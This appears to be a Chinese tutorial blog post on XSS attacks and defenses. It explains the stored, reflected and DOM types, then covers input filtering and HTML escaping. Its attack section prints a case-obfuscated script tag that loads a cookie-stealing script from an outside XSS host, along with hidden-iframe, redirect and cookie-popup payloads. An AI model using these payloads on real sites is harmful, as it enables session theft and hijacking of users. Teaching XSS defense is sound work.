XSS攻击和防御

XSS攻击分类
  • 存储型XSS
    持久性:攻击者把攻击代码永久存储在目标服务器(多见于论坛,留言板等).危害性最大,影响面最广.
  • 反射型XSS
    非持久性:攻击脚本嵌入到某个URL链接,诱骗客户端点击而触发执行.
  • DOM型XSS
    通过前端脚本修改页面的DOM节点形成的XSS,不与服务器进行交互.
XSS攻击过程

存储型XSS攻击过程
在这里插入图片描述
反射型XSS攻击过程
在这里插入图片描述
DOM型XS攻击过程
在这里插入图片描述
三者区别:

存储区插入点
存储型服务器数据库HTML
反射型URLHTML
DOM型前端存储前端JavaScript
XSS攻击实战
  • 盗取Cookie:诱骗点击
    在这里插入图片描述
    注入代码:
<sCRiPt sRC=https://xss8.cc/tvW7>
</sCrIpT>

https://xss8.cc/tvW7核心代码:
在这里插入图片描述

  • Stored XSS:跨站到一个木马网站
    < Img>标签src属性
    < Script>标签src属性
    < Link>标签href属性
    Css中< Img>标签src
    Flash中< Img>标签
    1.用于测试是否存在跨站
<script>
alert("test")
</script>

2.弹出一个包含浏览器cookie信息的对话框

<script>
window.alert(document.cookie);
</script>

3.打开另一个网页窗口

<script>
window.open('http://www.target.com/index.asp','newwindow','width=200,height=200');
</script>

4.出现一个高0,宽0的网页框架

<iframe src=http://target.com/index.asp width=0 height=0>< iframe>

5.刷新到另一个页面

<meta http-equiv="refresh" content="1;URL=http://www.target.com/index.asp">

6.Scriptlet引入另一个界面

<object type="text/x-scriptlet" data="http://www.target.com/index.asp"></object>
XSS攻击防范

XSS有两大要素:

  • 攻击者提交恶意代码
    输入过滤:
    Str_replace()替换函数
    Preg_replace()执行正则表达式的搜索与替换
    Strtolow()转化为小写字符
    Trim()消除空格
    Stripslashes()消除反斜杠

    在这里插入图片描述
    在这里插入图片描述
    对HTML做充分转义
    htmlspecialchars():将"<“和”>"转换为HTML实体
    在这里插入图片描述
  • 浏览器执行恶意代码
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值